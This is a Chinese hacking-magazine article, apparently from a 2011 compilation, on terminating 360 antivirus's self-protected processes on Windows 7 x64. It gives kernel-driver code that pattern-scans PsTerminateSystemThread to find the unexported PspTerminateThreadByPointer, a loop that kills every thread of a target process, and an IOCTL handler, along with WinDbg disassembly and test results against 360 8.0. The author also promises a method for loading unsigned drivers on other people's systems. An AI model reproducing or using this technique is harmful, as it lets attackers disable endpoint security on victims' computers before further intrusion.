黑客防线2011合订本(下半年)
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

彻底废除Win64上360 的进程自我保护

前置知识:VC

关键词:360,废除,Win64

图文 胡文亮

原文再续,书接上回。上回我分析了360在Win64上实现自我保护的方法,并提出了用户态使用EnumWindows和PostMessage来突破它的自我保护。不过我也说到,尽管这种窗口攻击的方法能让360的安全防护作用完全消失,但是拿没有窗口的ZhuDongFangYu.exe没有办法。今天就提出一种方法,让这个可恶的ZhuDongFangYu.exe彻底消失。

由于360在Win64上的自我保护是采用微软的官方解决方案,而这套官方机制仅仅能监视系统中句柄的变化。所以我们在结束360进程的时候不能使用句柄。不使用句柄杀进程,除了窗口攻击,在Ring 3还真的没有什么办法了。所以我们只能通过驱动来实现了。

首先用Stud_PE观察Windows 7 x64的ntoskrnl.exe的导出表,发现导出的函数跟Windows XP x86没有什么大区别。于是决定采用老方法,通过导出的PsTerminateSystemThread动态定位未导出的PspTerminateThreadByPointer。再用PspTerminateThreadByPointer依次结束ZhuDongFangYu.exe的每一个线程。不过话说得简单,做起来就不太简单了,实现起来还是蛮花费功夫的。

首先对PsTerminateSystemThread进行反汇编:

    lkd> uf PsTerminateSystemThread
    nt!PsTerminateSystemThread:
    fffff800`03f65860 4883ec28   sub   rsp,28h
    fffff800`03f65864 8bd1       mov    edx,ecx
    fffff800`03f65866 65488b0c2588010000 mov rcx,qword
ptr gs:[188h]
    fffff800`03f6586f f6814804000010 test byte ptr
[rcx+448h],10h
    fffff800`03f65876 0f8485cd0200 je
nt! ?? ::NNGAKEGL:: `string'+0x29eb0 (fffff800`03f92601)
    nt!PsTerminateSystemThread+0x1c:
    fffff800`03f6587c 41b001 mov r8b,1
    fffff800`03f6587f e8d0590500 call
nt!PspTerminateThread ByPointer (fffff800`03fbb254)
    fffff800`03f65884 90 nop
    fffff800`03f65885 e97ccd0200 jmp
nt! ?? ::NNGAKEGL:: `string'+0x29eb5 (fffff800`03f92606)
    nt! ?? ::NNGAKEGL::`string'+0x29eb0:
    fffff800`03f92601 b80d0000c0 mov
eax,0C000000Dh
    nt! ?? ::NNGAKEGL::`string'+0x29eb5:
    fffff800`03f92606 4883c428 add rsp,28h
    fffff800`03f9260a c3 ret

注意该程序的第14和第15那两行,除了告诉我们PsTerminateSystem Thread调用了PspTerminateThreadBy Pointer外,还提示了一个重要的信息:在Windows 7 x64上的PspTerminateThreadByPointer有三个参数,不同于Windows XP x86上的PspTerminateThreadByPointer只有两个参数。因为根据Win64上的__fastcall调用约定,函数的前四个参数分别放在rcx、rdx、r8、r9里(r8b是一个新增加的寄存器,长度为1字节,是r8的低8位),从第五个参数开始才放在堆栈里。然后查了一下WRK,估计它的原型是:

   typedef NTSTATUS (__fastcall
*PSPTERMINATETHREADBYPOINTER)
   (
      IN PETHREAD Thread,
      IN NTSTATUS ExitStatus,
      IN BOOLEAN DirectTerminate
   );
   PSPTERMINATETHREADBYPOINTER
PspTerminateThreadBy Pointer=NULL;

根据反汇编代码可以看出PspTerminateThreadByPointer的特征码是01e8,于是有了以下代码:

    ULONG32 callcode=0;
    ULONG64 AddressOfPspTTBP=0, AddressOfPsTST=0, i=0;
    if(PspTerminateThreadByPointer==NULL)
    {
AddressOfPsTST=(ULONG64)GetFunctionAddr(L"Ps
TerminateSystemThread");
      if(AddressOfPsTST==0)
      return STATUS_UNSUCCESSFUL;
      for(i=1;i<0xff;i++)
      {
         if(MmIsAddressValid((PVOID)(AddressOfPs TST
+i))!=FALSE)
            {
              if(*(BYTE *)(AddressOfPsTST+i)==0x01
&& *(BYTE *)(AddressOfPsTST+i+1)==0xe8)
              {
                  RtlMoveMemory(&callcode,(PVOID)
(AddressOfPsTST+i+2),4);
                  AddressOfPspTTBP=(ULONG64)callcode
+ 5 + AddressOfPsTST+i+1;
              }
            }
        }
        PspTerminateThreadByPointer=(PSPTERMINATETH
READBYPOINTER)AddressOfPspTTBP;
  }

接下来就是调用PspTerminateThreadByPointer干掉制定进程的所有线程即可。我的办法是用PsLookupThreadByThreadId查询0x4至0x40000之间所有能被4整除的数字,如果查询成功,就使用IoThreadToProcess得到此线程所属的进程。如果它是属于要干掉的进程,就调用PspTerminateThreadByPointer结束之,否则不做处理。另外要注意的是,凡是Lookup,必需Dereference,否则在某些时候会造成蓝屏的后果。代码如下:

PETHREAD Thread=NULL;
PEPROCESS tProcess=NULL;
NTSTATUS status=0;
for(i=4;i<0x40000;i+=4)
{
    status=PsLookupThreadByThreadId((HANDLE)i, &Thread);
    if(NT_SUCCESS(status))
    {
        tProcess=IoThreadToProcess(Thread);
        if(tProcess==Process)
            PspTerminateThreadByPointer(Thread,0,1);
        ObDereferenceObject(Thread);
    }
}

驱动部分基本写好了,最后在分发函数里获得PID,并通过PID得到EPROCESS再调用HwlTerminateProcess64即可(以上两段代码是为了讲解方便才分开的,实际上它们在一个函数里):

case IOCTL_PsKillProcess64:
{
        try
    {
        memcpy(&idTarget,pIoBuffer,sizeof(idTarget));
        DbgPrint("[x64Drv] PID: %ld",idTarget);
        status=PsLookupProcessByProcessId((HANDLE) idTarget, &epTarget);
        if(!NT_SUCCESS(status))
        {
            DbgPrint("[x64Drv] Cannot get target! Status: %x.",status);
            break;
        }
        else
        {
            DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx", (ULONG64)epTarget);
            HwlTerminateProcess64(epTarget);
            ObDereferenceObject(epTarget);
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        ;
    }
    break;
}

把驱动和应用程序编译后,放在安装了360 8.0正式版的虚拟机上(要打开测试签名模式)。给驱动添加测试签名后,加载驱动。在加载驱动时没有受到360的任何阻拦,即使已经开启了所谓的“驱动防火墙”。输入ZhuDongFangYu.exe的PID,大概过了20秒,ZhuDongFangYu.exe就退出了。在测试例如360safe.exe之类的GUI进程,也可以结束(这个就很快,不到1秒),不过在360safe.exe结束时,会出现一个错误提示框(顺便讽刺一下360骗人,在弹出这个对话框时,360safe.exe已经完蛋了,而不是提示上说的“即将关闭”),如图1所示。

图1

这个提示框由360的DumpUper.exe弹出,如图2所示。

图2

如果先结束了360tray.exe再结束360safe.exe,就不会弹出这个提示框了。不过如果结束360tray.exe,会出现一个有趣的现象。就是在大约30秒内,你打开任何GUI程序都无法出现界面,即使这个GUI程序的进程已经创建。在测试7.7正式版时,我估计360的程序员貌似忘记注释掉了一段DbgPrint,发现有新进程创建时,DebugView会输出“某程序创建某进程”之类的字符串。目前来说在Win64上不可能通过Hook NtCreateSection之类的手段来实现,唯一的可能就是注册了一个进程回调。也就是说,360的驱动在等待360tray.exe对新创建的进程做出反应,如果等待超时,就自作主张,同意新创建的进程运行。

到此为止,我对360在Win64上自我保护的分析就结束了。由于一般电脑安装不了Win64虚拟机(需要硬件虚拟化技术支持),所以我录制一段视频给大家看。可以看出,微软提供的标准进程保护方法很脆弱,根本经不起实战的检验。我现在认为,进程自我保护是没有任何作用的,发在论坛上娱乐众人尚可,用在正规软件里就没有必要了。本人用的安全辅助类软件是QQ管家,以前也用过金山卫士,这两款软件在Win64上都没有使用任何进程自我保护手段。可我始终不明白,为什么360麾下的那群所谓的“驱动高手”就想不明白这个道理呢?另外还有一点,我刚才也说过了,在Win64上加载驱动时,360没有拦截。这就为我们在Win64上使用驱动对抗360降低了难度(大家都知道,360比微软难缠多了)。至于如何在【别人的】Win64系统上加载没有签名的驱动,我还会写另外一篇文章来详细描述。请大家继续支持我的文章,支持黑客防线。

(编辑提醒:本文涉及的代码可以到黑防官方网站下载